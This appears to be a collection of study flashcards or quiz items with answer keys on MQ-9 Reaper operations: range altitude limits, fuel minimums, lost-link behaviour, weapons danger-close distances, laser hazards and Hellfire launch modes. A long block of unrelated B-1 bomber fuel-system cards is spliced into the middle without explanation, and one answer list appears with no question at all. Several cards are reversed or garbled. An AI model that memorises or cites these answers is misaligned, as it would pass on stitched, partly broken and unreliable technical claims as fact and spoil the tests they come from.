Current restrictions require military aircraft to maintain a minimum altitude of approximately ___________ while operating in the vicinity of the THAAD radar sites in Yonder South and 5103B airspace. This minimum altitude is based upon aircraft carrying electro-explosive devices. - Answer: A. 18000ft AGL
HMN RPAs are authorized to operate no lower than ________ in the vicinity of the THAAD radar site. - Answer: B. 13000ft MSL
Primary point of contact for command and control of RPA missions is the Squadron Ops Sup. - Answer: A. True
During in-flight troubleshooting and emergencies, additional personnel will be limited to the minimum maintenance personnel required. - Answer: A. True
Centennial Range is a tactically configured air-to-surface range with over 300 scorable tactical targets approved for inert ordnance and TP/TPT ammunition. All targets are approved for laser operations. - Answer: A. True
All aircrews are responsible for obtaining current weather information prior to using any Holloman range - Answer: A. True
Aircraft do not need clearance from Cherokee Control to enter the WSMR complex airspace. - Answer: B. False
The external stores jettison area for Red Rio and Centennial Range is ___________. - Answer: A. the airfield runway
In the event of a fire on any Holloman range the fire shall be immediately reported to the ROC when the ROC is operational. During times when the ROC is not operational the fire shall be reported to ________. - Answer: D. Cherokee
The Cockpit/Crew Resource Management (CRM) program goals are: - Answer: A. Maximize operational effectiveness and combat capability
B. Ensure the safety of non-combatant civilians
C. Facilitate mishap reduction by providing skills, processes, tools and techniques to aircrews
*D. All of the above
CRM skills will be: - Answer: A. integrated into flight briefings and debriefings
B. integrated into training syllabi
C. evaluated during initial qualification and recurring evaluations
*D. All of the above
Emphasis on CRM skills in the mission qualification and continuation training programs should become inseparable parts of operational practices. - Answer: A. True
-------------------------------
Once a "KNOCK IT OFF" is called, all participating aircraft will" - Answer: A. Acknowledge with call sign
B. Cease tactical maneuvering and the scenario
C. Deconflict flight paths
*D. All of the above*
If non-LEP equipped personnel are in the area to be designated and unable to ensure the absence of personnel using image-magnifying devices (binoculars, telescopes, etc.) in the area to be designated, then what is the minimum MTS IR Pointer slant range? - Answer: C. Designator use not allowed.
The Sensor Operator (SO) responsibilities include: - Answer: A. Acquire/maintain target custody
B. Optimal sensor selection
C. Voice concerns/questions with the attack or weaponeering
**D. All of the above**
Each MQ-9 crewmember is authorized a copy of AFI 11-2MQ-1&9 V3. - Answer: A. True
The PIC is the final authority on the # of people allowed in the GCS (to include visitors) during operations. - Answer: A. True
Place no items (checklists, charts, etc.) behind and ensure no items interfere with the following items ________________ at any time. - Answer: A. flap lever, condition lever, throttle, or speed lever
B. control stick and HDDs
C. KVM switch
D. PSO
*E. Both A and B*
For initial takeoff, the following equipment is required: - Answer: A. Two separate cameras (1 nose camera, minimum)
B. Operational INS/GPS units (3 prior to T/O, 2 once airborne)
C. One IR video source for planned night operations
*D. All of the above*
As a minimum, time between ops checks will not exceed _______________. - Answer: B. 1 hour
Change out one crewmember at a time to ensure continuous monitoring of the aircraft. The ____________ is the final authority in determining if circumstances are safe to replace crews. - Answer: A. incoming PIC
For normal recovery operations, unless changed by an appropriate authority, pilots will plan to land with a minimum of _____ lbs of fuel. - Answer: C. 400
Pilots will declare minimum fuel to the controlling agency as soon as it becomes apparent that an aircraft will enter initial or start an instrument approach at the base of intended landing, or alternate if required, with _______ pounds of fuel or less. - Answer: C. 350
Declare emergency fuel as soon as it becomes apparent that an aircraft will enter or start an instrument final approach at the base of intended landing, or alternate if required, with ______ pounds of fuel or less. - Answer: C. 300
Minimum airspeed during an SFO traffic pattern and air-to-air maneuvering is stall +______KIAS. - Answer: B. 15
Do not takeoff if forecast or reported _______turbulence for Light/Category I aircraft is present along the route of flight. - Answer: B. severe
If revised forecast winds for ETA (-1/+1 hours) exceed limits specified in the flight manual, and no suitable alternate is available, the pilot will terminate the mission in time to return to the operating base: - Answer: A. before the forecast time of increased winds
-------------------------------
Manufacturer - Answer: General Atomics
Function - Answer: Remotely Piloted Hunter/Killer
Service Date - Answer: 2007
Speed - Answer: 230 mph
Crew - Answer: Two
Production - Answer: 319 (planned)
Inventory - Answer: 277
First operation country deployed to - Answer: Afghanistan
First year of combat operations - Answer: September 2007
X Times the range of the MQ-1 - Answer: 8
X times as high - Answer: 2
Works with X agency - Answer: US Department of Homeland Security
First Flight of the predator B-001 - Answer: 2 Feburary 2001
Payload capacity - Answer: 3,000 pounds.
Maximum ceiling - Answer: 50,000ft and endurance of 36 hours GA refered to this variant as "Altair"
2002 - Answer: First MQ-9 where delivered in _______
Hunter-killer - Answer: President Bush Requested what role?
MQ-9 roles - Answer: ISR, CAS, AI, CSAR, precision strike, buddy-lase, friendly overwatch, route clearence and target development.
Airframe - Answer: medium-altitude, long -endurance, multi mission capable, RPA powered by turbo prop engine system and equiped with a multi spectral targeting system-B(TGP-B), TARGETING Pod (TGP), an AP/APY-8 Lynx synthetic aperture radar, ARC-210 and an IFF Friend or foe
Hydraulic breaking system - Answer: Is an all-electric aircraft with the exception of the_______
Powerplant - Answer: Equiped with the honeywell TPE331-10Y turbo prop engine capable of reverse thrust.
7 - Answer: how many fuel tanks does the MQ-9 have?
2 outer wing, 2 inner wing, aft adn header - Answer: Location of the seven fuel tanks
14 hours - Answer: The MQ-9 has an edurance of_________ when fully loaded
Full PAyload - Answer: 4 AGM-114 and 2 GBU-12s
1 hour - Answer: Each 500lb bomb removed is _______ of additional endurance
Sensor Capabilities - Answer: AN/DAS-1 is equiped with three types of camers: IR, DTV and LLTV or SWIR
AN/APY-8 Lynx - Answer: Radar system that has high resolution SAR. That provides all-weather radar imaging and (GMTI)
How do you reset the fuel transfer system after manually transferring fuel? - Answer: Return applicable FUEL MGT panel switches to the automatic positions and depress the SEQ INIT pushbutton for two seconds
When are the boost pumps operating on the ground? - Answer: When primary buses are powered and Engine Start switches are in the RUN position
FCGMS automatically controls the aircraft's CG by transferring fuel between which tanks? - Answer: Tanks 1 and 4
How are the two transfer fuel lines connected? - Answer: Through the BTI
If the left cooling loop pump fails, how can the right cooling loop pump can supply fuel to both cooling loops? - Answer: By opening the cooling loop crossover valve
Fuel can be dumped at a rate of ________________ to _____________ PPM - Answer: 1900 to 3800 PPM
What happens to the excess fuel when fuel flow through the cooling loops is greater than engine demand? - Answer: Excess fuel is return to the main tanks
When does the fuel cooling loop crossover valve open automatically? - Answer: When either cooling loop pump fails
How is hot fuel transfered out of the main tanks while on the ground? - Answer: The refuel/defuel valve must be opened using the GND COOL switch
The engine crossfeed valve automatically opens inflight under what circumstances? - Answer: 1. Loss of all primary bus power
2. When either main tank fuel quantity is less than 6,100 lbs
3. When all boost pumps fail
How are the PID and SID different? - Answer: 1. Only the PID provides SOF outputs during EMUX failure
2. Only the SID is available in LM2 during ground refueling
When is the supplementary fuel sequence activated? - Answer: When 4-engine fuel flow is greater than 100,000 pph for more than 10 seconds
During a fuel imbalance, the transfer pumps with the lower fuel quantity will be commanded OFF when fuel quantity differential exceeds _____________ lbs - Answer: 5,000 lbs
All fuel tank transfer pumps are commanded on during the supplementary sequence if either main tank fuel quantity decreases below ______________ lbs - Answer: 7,400 lbs
CG limit pointers driven by FCGMS are a function of what? - Answer: 1. Wing Position
2. Flap/Slat Position
3. Altitude
4. Gross Weight
How many fuel tanks are in the B-1? - Answer: 8
What is the capacity of tank 1? - Answer: About 32,000 lbs
What is the capacity of tank 2? - Answer: About 39,000 lbs
What is the capacity of tank 3? - Answer: About 24,000 lbs
What is the capacity of tank 4? - Answer: About 53,000 lbs
What is the capacity of both main tanks? - Answer: About 21,000 lbs
What is the capacity of either individual wing tank? - Answer: About 33,000 lbs
What is the total fuel capacity if refueled on the ground? - Answer: 202,000 lbs (about 2,000 lbs more if refueled in the air)
What kinds of pumps are contained within each main tank? - Answer: 2 boost pumps
1 fuel cooling loop pump
1 suction feed line
What components does the left main tank normally feed? - Answer: Engines 1 and 2, and the left APU
What components does the right main tank normally feed? - Answer: Engines 3 and 4, and the right APU
In non-AB operation, what do the boost pumps normally supply fuel to? - Answer: The cooling pumps
In AB operation, what do the boost pumps normally supply fuel to? - Answer: Directly to the engines
Boost pump 1 is powered by.... - Answer: Primary bus 1
Boost pump 2 is powered by... - Answer: Primary bus 4
Boost pump 3 is powered by... - Answer: Primary bus 3
Boost pump 4 is powered by... - Answer: Primary bus 2
The left fuel cooling loop is powered by.... - Answer: Primary bus 1
The right fuel cooling loop is powered by... - Answer: The essential bus
After entering the heat exchangers, where does the fuel go? - Answer: Either to the engines or back to the main tanks or to the APUs to cool them
When is the cooling loop bypass valve automatically opened by EMUX? - Answer: Always on the ground, or inflight when fuel flow is less than 1800 pph in order to send fuel back to the main fuel tanks
When is the cooling loop bypass valve automatically closed by EMUX? - Answer: Inflight, when fuel flow is greater than 1800 pph in order to send fuel directly to the engines
The cooling loop px relief valve opens at ______________ psi to return excess fuel to the main tanks - Answer: 30 psi
When its associated OWF fire pushbutton is depressed, what happens to the cooling loop isolation valve? - Answer: It is closed
When will the crossfeed valve open automatically? - Answer: 1. Loss of primary bus power
2. Either main tank is less than 6,100 lbs
3. Cooling loop bypass valve fails open or closed
4. All boost pumps fail inflight
When should the fuel cooling scoop be open? - Answer: 1. On the ground (to 32.5 deg)
2. Inflight below 370 KIAS and the fuel temp exceeds 65 deg F
When should the fuel cooling scoop be closed? - Answer: 1. When fuel temp drops below 55 deg F and below 370 KIAS
2. Whenever airspeed exceeds 370 KIAS
The B-1 can dump fuel at a rate of _______ to _________ ppm - Answer: 1,900 to 3,800 ppm
During a high test, the CG instruments should be displayed as follows:
Actual/Target CG: _______
Forward/Aft CG limit: _______
Gross Weight: _______
Total Fuel: ______ - Answer: Actual/Target CG: 55%
Forward/Aft CG limit: 65% (+/- 2%)
Gross Weight: 360,000 lbs
Total Fuel: 250,000 lbs (+/- 10,000 lbs)
During a low test, the CG instruments should be displayed as follows:
Actual/Target CG: _______
Forward/Aft CG limit: _______
Gross Weight: _______
Total Fuel: ______ - Answer: Actual/Target CG: Operating CG Set
Forward/Aft CG limit: 10% (+/- 2%)
Gross Weight: Operating Weight
Total Fuel: 0 to 10,000 lbs
The fuel cooling loop return valve is controlled by EMUX, and opens when.... - Answer: 1. Low engine fuel flow
2. Main tank fuel is low
3. The cooling loop pump fails
The fuel cooling loop crossover switch is automatically controlled by EMUX, and normally closed inflight unless.... - Answer: 1. Either cooling loop fails
2. Both left or both right main boost pumps fail
3. The fuel is low
After engine start, only the _________ main cooling loop pump operates on the ground - Answer: Left main cooling loop
During engine start, boost pumps are initially commanded off when the starter switch is placed to the ___________ position - Answer: START
When are boost pumps commanded on during start? - Answer: After core RPM reaches 60% to 62%
When do the boost pumps supply fuel directly to the engines? - Answer: When fuel flow exceeds 1800 pph (otherwise it goes to the fuel cooling loops)
Pneumatic pressure closes the primary tank valve to maintain pressure at ___________ to __________ psi - Answer: +1.5 to - 0.5
Fill valves in the main tanks are normally ________, while fill valves in the other tanks are normally _________ - Answer: Open
Closed
Extended AB use between ________________ and _______________ MSL may exceed fuel transfer rate capability resulting in tank depletion - Answer: 15,000 to 25,000 MSL
How will boost pump failure affect AB operation? - Answer: Cooling loop pump outputs on there are will not support AB ops
Engine fuel pumps provide sufficient fuel for MAX thrust settings up to _____________ MSL, and MIL up to ________________ to _______________ MSL - Answer: 10,000 MSL
15,000 to 25,000 MSL
FUEL LOW light illuminates when... - Answer: Either main tank drops below 6,100 lbs
After it has illuminated, FUEL LOW light will extinguish after.... - Answer: Both main tanks have fill up to at least 7,100 lbs
Boost pumps become uncovered at approximately what main tank fuel quantity? - Answer: 5,500 lbs
What kinds of maneuvers should be avoided while in a low fuel situation? - Answer: Negative G flight or AB use
AB use is limited to ______________ minutes when less than 4 main tanks are available to feed the main tanks (wing tanks count as one tank) - Answer: 2 minutes
If you can't fix a fuel low light, what should you do? - Answer: Open all the transfer valves, and land ASAP (this should keep the engines running even if the main tanks run out of gas)
How will engine shutdown affect that engines' associated fuel pumps while inflight? - Answer: The boost pump will continue to run (it fails to on)
Flameout may occur if both boost pump caution lights are on if... - Answer: AB is used above 10,000 MSL, or airspeed exceeds 0.45 M
When does the FUEL HOT light illuminate on the ground? - Answer: When fuel temp exceeds 165 deg F (light not enabled until engine start switches are placed to RUN)
When does the FUEL HOT light illuminate in the air? - Answer: 1. If main tank temp exceeds 150 deg F AND either boost pump are uncovered
2. 2 or more boost pumps are inop and the x feed and return valves are open
Do not use AB above _________________ MSL with FUEL HOT caution light illuminated - Answer: 25,000 MSL
When does the CG Disagree light illuminate? - Answer: When actual aircraft CG is within limits, but the PID and SID fail to agree within 3%
What is the major difference between the PID and the SID? - Answer: Safety of flight functionality exists within the PID
What is the corrective action for a FUEL CLG LOOP CRSVR caution light inflight? - Answer: Place the fuel cooling loop switch to open and pull the CLG LOOP CRSVR valve Ph C circuit breaker. If the light remains on, set FUEL CLG LOOP RTN switch to OPEN
What is the corrective action for a FUEL CLG LOOP RTN caution light? - Answer: Set the fuel cooling loop return switch to open, and monitor fuel temp
While troubleshooting a FCGMS 1 and 2 caution light, what precaution should be taken? - Answer: The fill valve to tank 4 should be closed while troubleshooting
When will the CG/F and DF VALVE warning light illuminate? - Answer: During a FCGMS failure during ground refueling or if the refuel/defuel valve fails to close
During automatic ground refueling, tanks 1 and 4 fill valves open and close to maintain CG within what range? - Answer: 10% to 32% MAC
FCGMS automatically stops fuel flow during ground refueling if CG exceeds ____________% MAC - Answer: 32% MAC
Manual refueling is accomplished either in LM_____ with engines ___________ and __________ running, or with external power and air connected - Answer: LM4
1 and 2
During manual refueling, tank 4 must not exceed ____________ lbs, and MAC must not exceed __________ (stop filling tank 4 at ___________ MAC) - Answer: 40,000 lbs
40%
38%
During normal ops, the slipway door is powered by what? - Answer: Hydraulic system 3
During emergency hydraulic system operation, enough fluid is contained in the reservior to allow for _______ latches, and _________ door closings - Answer: 10 latches
2 door closings
BTI should be ____________ during aerial refueling (should happen automatically) - Answer: Open
FCGMS target CG maintains ____________ % (+/- ______%) MAC initially during aerial refueling - Answer: 21% (+/- 5%) MAC
When does FCGMS change target MAC during aerial refueling? - Answer: 1. All tanks full
2. Tank 1 exceeds 2800 lbs or tank 4 exceeds 18,850 lbs
FCGMS target CG maintains ____________ % to ___________ % MAC after initial conditions are met - Answer: 15% to 39% MAC
During dry contacts, main tanks will/will not be filled from other tanks - Answer: Will not
The B-1 will tip over if ___________ % MAC is exceeded, however it may also tip over it _________% MAC is exceeded - Answer: 46%
40%
If the OPEN/UNLK caution light remains on after the slipway door is closed, what is the corrective action? - Answer: Pull the T-Handle and leave it open
How is fuel supplied to the engines during engine start? - Answer: From the main tanks through the suction valves
What control do pilots have over the cooling loop bypass valve? What is the normal position of this valve during flight? - Answer: Pilots can't control it. This valve is normally closed inflight
How are cooling loop isolation valves controlled by the pilots? - Answer: By the OWF fire pushbuttons
In order to provide redundancy for CG control, tank 1 contains _______ x _________ valves, and tank 4 contains _________ x ___________ pumps - Answer: 3 x fill valves
3 x transfer pumps
The BTI valve stays open until ___________ lbs with weapons, __________ lbs without weapons, and opens up again at ___________ lbs of fuel - Answer: 32,000 lbs
23,000 lbs
20,000 lbs
(Combined fuel between tanks 1 and 4)
Describe FCGMS failure mode 1 - Answer: Also known as throughput, it is caused by a PID/SID failure during which FCGMS system is no longer capable of making calculations
What mode of CG control is inoperative during a FCGMS throughput failure? - Answer: Set mode is inoperative
During FCGMS throughput failure, what kind of fuel quantities will and will not be displayed? - Answer: Individual fuel quantities are still available with at least a 5% error, and total fuel quantities are not available
Describe FCGMS failure mode 2 - Answer: Also known as Safety of Flight mode, it is caused when EMUX failure is detected (total EMUX failure or MUX8 and MUX9 failure)
What will the fuel tank quantity indications be during a FCGMS mode 2 failure? - Answer: 0 lbs
The set mode will/will not function during a FCGMS mode 2 failure - Answer: Will function, however CG display is inoperative (set mode is automatically initiated during mode 2 failure)
How will a FCGMS mode 2 failure affect the BTI and CL crossover valves? - Answer: Both valves will automatically open
Describe FCGMS mode 3 failure - Answer: Also known as a BIT failure, either FCGMS 1 or 2 failure light will illuminate to indicated a fuel probe failure somewhere in the system
How can you determine if you have a FCGMS mode 3 failure? - Answer: With the failed system selected, the high test will indicated 70% of target CG
Describe the FCGMS EGO mode failure - Answer: It is an additional mode of FCGMS, which is not necessarily related to a FCGMS failure. This does NOT mean that EMUX has failed
What is the primary function of EGO FCGMS mode? - Answer: Reduce electrical load on the essential bus
During EGO FCGMS mode essential bus fuel scheduling, FCGMS maintains target CG btw forward and aft edges of target CG within +/- _____ % MAC - Answer: +/- 1% MAC
True/False: A throughput failure in the PID will still allow for safety of flight functionality - Answer: False
For both PID and SID in throughput mode, how is CG maintained? - Answer: By referencing the stabilization position
In the event of an CG indicator failure, FCGMS will/will not continue to provide CG balancing - Answer: Will
In the event of a FUEL HOT light on the ground, how do you get fuel out of the main tanks to tanks 1, 2, 3, and 4? - Answer: By using the GND COOL LOOP switch in the open position
Don't operate in conditions where OAT is _________ deg F for more than ________ minutes in order to prevent fuel from freezing in the tanks - Answer: -37 deg F
10 minutes
B. with sufficient fuel to fly low approaches for a minimum of one hour
C. with sufficient fuel to fly low approaches for a minimum of two hours
D. A or B
*E. A or C*
Precipitation adversely affects aircraft performance and reduces visibility. If conditions permit, pilots should minimize exposure to all types of precipitation during all phases of flight. If precipitation cannot be avoided, pilots should maximize climb or descent rate to exit potential or actual icing conditions. - Answer: A. True
For Air-To-Air Operations, a coordination brief between all involved players shall include the following: - Answer: C. Altitude deconfliction, emergency mission/lost link explanation and deconfliction, and AFI 11-214 Air-To-Air Training Rules
Crews must positively identify all targets prior to weapons release. For training sorties, achieve positive identification either ________ or by confirming ______________ through valid on-board/off-board cues. - Answer: C. visually; target location
Crews will perform a battle damage/weapons check of weapons stations prior to or during return to base (RTB). This check is mandatory following _____________. - Answer: B. expenditure of live ordnance
When carrying releasable ordnance, remain two switch positions away from release at all times prior to intentionally releasing live or inert ordnance. The two deselected switches will be the master arm switch and the trigger. - Answer: A. True
All "dry" attacks will be conducted with the cocked LEMA selected. When carrying live/inert ordnance with cocked LEMAs, at no time will crews select the live or inert inboard stations until ready to release the live or inert ordnance. - Answer: A. True
The cocked LEMA station(s) will not be activated ('fired') until all live or inert ordnance has been visually confirmed released with the Multi-Spectral Targeting System. - Answer: A. True
Abort the mission, regardless of apparent damage or subsequent normal operation, if any of the following occur: - Answer: A. bird strike
B. over-G
C. flight control system anomalies
D. engine failure
*E. All of the above*
For inadvertent release, accomplish the following: - Answer: A. If able, record switch positions at the time of inadvertent release and provide to armament and safety personnel.
B. Record the impact point, if known.
C. Do not attempt further release in any mode if equipment failure is suspected.
D. If equipment failure is suspected, treat remaining stores as hung ordnance and RTB.
*E. All of the above*
What does DEADEYE mean? - Answer: C. Laser designator system inoperative
During climbs, ensuring the aircraft is in altitude preference by commanding an airspeed that results in a coefficient of lift less than _____ prior to initiating the climb will prevent the aircraft from overshooting the desired altitude. - Answer: E. .7
The average fuel flow while on-station at 165 KTAS should be ________. - Answer: C. 200 pounds per hour
Due to the lack of visible light, the DTV video will be degraded until approximately 1 hour after sunrise and approximately 1 hour prior to sunset. - Answer: A. True
CLEARED TO ENGAGE - JTAC Type 3 control clearance. Attack aircraft flight leaders may initiate attacks within the parameters imposed by the JTAC. Attack platforms will provide ________. - Answer: C. "Commencing Engagement and Engagement Complete"
"Danger Close" for the GBU-12 is ___m. - Answer: A. 280
"Danger Close" for the AGM-114K2A is _____m. - Answer: B. 110
A _____ indicates operating procedures, techniques, etc., which could result in personal injury and loss of life if not carefully followed. - Answer: B. Warning
_____ expresses a provision that is binding. - Answer: A. Shall
The EPO switch disconnects _________. - Answer: A. incoming AC power
What does setting GCS Ignition Hot do? - Answer: D. activates the electric fuel pumps
The EFIU monitors engine RPM. When it detects less than _____ RPM (DEEC) for two consecutive samples, it warns the pilot and performs one of two restart sequences. - Answer: C. 78%
The return manifold receives excess fuel from the _______ tank. - Answer: D. header
If both electric fuel pumps fail,_ - Answer: A. the engine will only continue to run until the fuel in the header tank is depleted
B. it is not possible to jettison fuel
C. the engine will immediately stop
*D. A and B above*
E. All of the above
Batteries cannot be charged in flight. - Answer: A. True
When slower than 121 KIAS, the flaps are set automatically when the gear is up and __________. - Answer: A. airspeed hold is on
Pilots must be alert to the possible consequences of deactivating SAS during flight. When SAS is deactivated, all __________ safety features are immediately turned off. - Answer: C. autopilot
With Cruise Mode ON, control sensitivity is reduced. Roll, pitch, and yaw gains are scaled with airspeed. Scaling limits roll to _____ up to _____ depending on airspeed. - Answer: B. +/- 10°, +/- 40°
Cruise mode is on when any hold mode is engaged, when stall protect is enabled, or anytime airspeed is faster than __________. - Answer: D. 110 KIAS
Do not zero trims in flight. Doing so will result in a _____ knot airspeed hold. - Answer: A. 50
The ________feature is the first level of stall protection provided by the autopilot. - Answer: B. aileron tip stall override
Aileron tip stall override starts from 0 degrees of additional aileron deflection at +____ degrees AOA to 8 degrees of aileron deflection at +____ degrees AOA. - Answer: E. 5, 9
Stall protect is turned on and off by the pilot, but only takes effect at speeds slower than __________. - Answer: E. 120 KIAS
Stall protect prevents stall by deflecting the ruddervators down when AOA exceeds a threshold value of 7 degrees. Stall protect disengages when the AOA is less than 3 degrees. - Answer: A. True
Operational mission programming employs "fly-to" logic. During autonomous flight, the aircraft will execute the commands assigned by the upcoming waypoint until it passes that waypoint. It then executes the commands assigned by the next waypoint. - Answer: A. True
Lost link programming and the emergency mission will not activate if "Lost Link OK" is set ON during an operational mission. - Answer: A. True
If the aircraft is within ______ of the emergency mission entry waypoint when link is lost, the entry waypoint may be skipped. - Answer: C. 5.3 NM
If operating in digital line of sight (DLOS) mode, after _____ minutes of lost link or if _____ goes offline, whichever happens first, the aircraft will return to standard LOS mode. - Answer: A. 2, SPMA
During a loss of command link, how much time passes until the RCM turns the SPMA to standby? - Answer: D. Arming time + 3.5 minutes
Which statement is true about arming times and aircraft lost link procedures? - Answer: A. If the aircraft is currently operating on the C- band uplink or Ku-band command link when the dropout occurs, the arming time is 2 seconds
B. If digital LOS mode is being used, a standard LOS command link is still transmitted; the aircraft will use the standard command link to prevent entering lost link condition
C. At two seconds of any lost uplink, the RCM transmits a warning message in the downlinkthat is presented on the status display in the GCS. This message indicates a lost link condition and the type of link lost
*D. All of the above*
The RCM is the heart of the ADCS, and performs the following functions: - Answer: A. Uplink command receipt, processing, and distribution
B. Autopilot command generation and distribution
C. Downlink telemetry and video data receipt, processing, and distribution
D. Triplex processing
*E. All of the above*
If EGI ___ fails, the Ku SATCOM will not be able to aim properly, which may cause the aircraft to lose Ku-band link and go lost link. - Answer: A. 1
Which GPS FOM code below would indicate the worst GPS quality (greatest distance error) for a selected EGI? - Answer: E. 5
Which processor assembly in the center equipment rack is PSO 1? - Answer: A. The top one
The transmission of the C-Band LOS datalink is referred to as the _____ and _____, while the Ku-Band SATCOM transmissions are called _____ and _____. - Answer: A. Uplink, Downlink, Command Link, Return Link
In digital LOS mode, the downlink can carry the following: - Answer: A. One or two video signals
B. Audio from the VHF/UHF radio to the GCS intercom system
C. Aircraft status data
*D. All of the above*
The daylight TV nose camera provides about a _____ degree field of view. - Answer: C. 30
The IR nose camera has its own heater and fan to prevent fogging. - Answer: A. True
The ice detector signal stays on for _____ seconds after the ice has cleared. - Answer: B. 60
ARC-210 channels 22 through 25 are used as . . . - Answer: B. scanning channels
A __________ background in a VIT element indicates an abnormal condition. This generally indicates that the value is out of the normal operating parameters and should be monitored. - Answer: C. yellow
A __________ background on the VIT Data Element indicates a warning condition. This generally indicates the value is in a critical condition and will require corrective action. - Answer: C. red
The Deice System's automatic mode is intended to be used when the aircraft is operating autonomously. If outside air temperature is less than ______, pitot heat is automatically turned on. - Answer: C. 10°C
HUD Altitude Display defaults to _____ upon startup. - Answer: A. AGL
For an operational or emergency mission, when LOS TX #1 Inhibit is selected On, TX1 will be prevented from operating during that mission leg. What else is true about LOS TX Inhibit On? - Answer: A. This inhibit overrides any other programming and positively prevents the transmitter from operating under any autonomous circumstances
In the presets configuration menu, boxes with ______ backgrounds represent items that are read-only and cannot be altered or edited from the Presets Configuration window. - Answer: C. white
Data from the Preset Configuration window cannot be applied/uploaded if the aircraft airspeed is above _____ KIAS. - Answer: B. 50
The mission sequence number gives the mission in the data logger a file name. - Answer: A. True
Keyset ___ for CL and RL is hard-coded into the SPMA and LMA equipment and cannot be changed. - Answer: C. 3
In Cruise Mode, avoid flying the aircraft at AOA greater than ____ degrees. A high AOA can result in divergent roll oscillations. - Answer: B. +5
The engine may exceed maximum allowable EGT when disengaging Altitude Hold with the throttle in the _____ position. - Answer: C. Full forward
During an MCE gaining handover, the Ku command link is established when: - Answer: B. the "Ku Command Link Lost" warning message disappears
As the MCE, how long should uplink signal strengths be greater than 0% before disabling the Command Link during ground checks? - Answer: B. 5 sec
Upon Successful hand-off it is necessary to update the datalink preset values found in Section 1; otherwise, the aircraft will retain the preset values for the losing GCS. Changing any of the preset values in the HDD will result in all presets values being resent to the aircraft; however, entering an identical in the HDD for any of these items will not update any values. - Answer: A. True
It is possible for the actual nose camera lens inside the fuselage to fog during descent. Fogging of the actual nose camera lens cannot be prevented with the use of nose lens heat. The Nose IR lens heater may be used to clear the nose EO camera. - Answer: A. True
Setting ILLA near or below field elevation may cause the aircraft to pitch down in speed preference mode to achieve the commanded airspeed of the emergency mission start point if above the ILLA. - Answer: A. True
During a Rack Switch, if the SO does not ensure the speed lever on PSO-2 is set to at least ___ % when the rack button is depressed, the engine may inadvertently ___________. - Answer: C. 96, flameout
If power is shut off due to a GCS fire, the UPS batteries will still provide power if they were not turned off prior to evacuation. - Answer: A. True
With a left PSO rack (Pilot Station) failure or rack lock-up, the pilot has the option of sending the aircraft lost link prior to executing the PSO-1 Rack Lock-Up checklist. - Answer: A. True
If no emergency mission is loaded on PSO 2, then as soon as the rack switch button is pressed, the emergency mission start point will immediately change to _____ regardless of what the PSO-1 tracker display shows. - Answer: C. waypoint 1
Loss of control may be indicated by complete failure of the aircraft to respond to pilot control command. This may be caused by ? - Answer: A. Airspeed or pitot/static failure
B. AOA failure below 120 KIAS with stall protect on or SAS failure
C. Autopilot sensor failure, structural failure or airframe icing
*D. All of the above*
When SAS is engaged in flight, stick commands will not match actual aircraft pitch and roll angles for 0.5 seconds. During this time, GCS stick commands will be interpreted as control surface commands and may contribute to loss of aircraft control. - Answer: A. True
A stall condition may be indicated by - Answer: A. Warnings on the HUD
B. Excessively high AOA
C. Unexpected loss of altitude
*D. All of the above*
Pitot heat does not guarantee the absence of ice from the pitot/static system. Moisture can freeze in the unheated areas. This malfunction may be indicated by 'FCA (1,2,3) PPT- Airspeed sensor faulty' warning message, abnormal attitude, abnormal airspeed or a combination of any of these. These conditions may result in: - Answer: A. aircraft pitch oscillations
B. loss of datalink
C. loss of aircraft control
*D. All of the above*
If an aileron or tail servo enters the _____, land as soon as possible. - Answer: C. red region
When battery voltage drops below _____ volts, all electrical power may be lost. - Answer: C. 22
Do not allow the engine to windmill between _____ and _____ percent RPM. - Answer: A. 18-28
The airstart airspeed envelope is between ______________ KIAS. - Answer: B. 100-180
Do not engage the _______ during an air start. The high torque requirements of a feathered propeller will damage the aircraft. - Answer: B. Starter
If bus voltage drops below ___ volts, fuel heater will be automatically turned off. - Answer: D. 26
During a generator failure, due to associated high amp draw, do not attempt to bump the gear unless a gear malfunction is detected. - Answer: A. True
If DEEC fails, the backup mode torque schedule limits engine power as a function of OAT and density altitude, and will not allow a command greater than _____ torque. - Answer: B. 70%
If the selected tank's solenoid on the fuel feed manifold fails closed, the header tank level and pressure will decrease. - Answer: A. True
Decreasing oil level may be an indication of an oil leak, excessive oil consumption, or oil foaming. What are some important points to remember? - Answer: A. minimize maneuvering
B. fluctuating oil pressure combined with fluctuating oil level may be an indication of a clogged oil vent line
C. oil leaking inside the engine compartment can ignite and burn out of control resulting in loss of aircraft
*D. All of the above*
The Aircraft Component Currents Requirements chart shows typical amperage for each listed device. However, momentary in-rush current can be up to _____ times as much when a unit is first turned on. - Answer: C. 2-3
During a forced landing and operating on battery power, once the landing gear is lowered, battery life may preclude another full landing gear cycle prior to a successful touchdown. - Answer: A. True
The aircraft is equipped with 6 batteries (2 sets of 3, for a total of 6) with a total rating of 84 ampere hours. At minimum system amperage of about 35 amperes, this would provide a flight time of approximately - Answer: A. 2.4 hours
What aircraft component draws the highest maximum amps? - Answer: A. AN/DAS-1
A warning of Aileron Servo Temp in the caution range indicates aileron servo temperature is above ________°C. - Answer: C. 175
Although energy emitted by the LRD and LTM cannot be seen, it is readily focused on the human retina, causing permanent blindness or eye injury to personnel up to ________ from the LRD and up to _______ from the LTM. - Answer: D. 46.7km, 324m
Zoom-Lock prevents an inadvertent change in the selected FOV when_ - Answer: B. firing the LRD or LTM with auto-track engaged.
(LRD LP DES) The LRD is firing but at degraded power level. The laser monitoring devices have detected an energy output of approximately _______%. - Answer: D. 80
The LRD is PRF adjustable throughout the entire range of available PRF codes (_____ - _____). - Answer: B. 1111, 1888
The __________ provides extremely accurate slant range data once it has been activated. - Answer: B. LRD
What is the maximum allowable EGT in flight? - Answer: B. 675° C
Maneuvering speed decreases ________ per 500-pound decrease from maximum gross weight. - Answer: D. 4.5 KIAS
When using Ku-band datalink, aircraft maneuvering (attitude variation) should be limited to ____ pitch and _____ roll. - Answer: A. ±10, ±20
Forward CG imbalance, at the most extreme, will not present a flight control problem. - Answer: A. True
When penetrating areas of turbulence, speeds shall be limited to: - Answer: A. V a
Which item has the greatest drag configuration index? - Answer: B. Unfeathered, non-rotating prop
Which launch mode results in the most direct of all trajectories during missile flight? - Answer: A. LOAL-D
Which launch mode results in a more vertical attack trajectory? - Answer: C. LOAL-H
Which launch mode results in a more horizontal attack trajectory? - Answer: B. LOAL-L
Codes with _____________ are correctly handled by the M299-P launcher during transmittal to the missile software. Other PRF codes may cause missile BIT failures. - Answer: C. even parity
What color will the missile icon on the HUD Hellfire Tracking display indicate when the missile is selected for release? - Answer: A. Green, solid
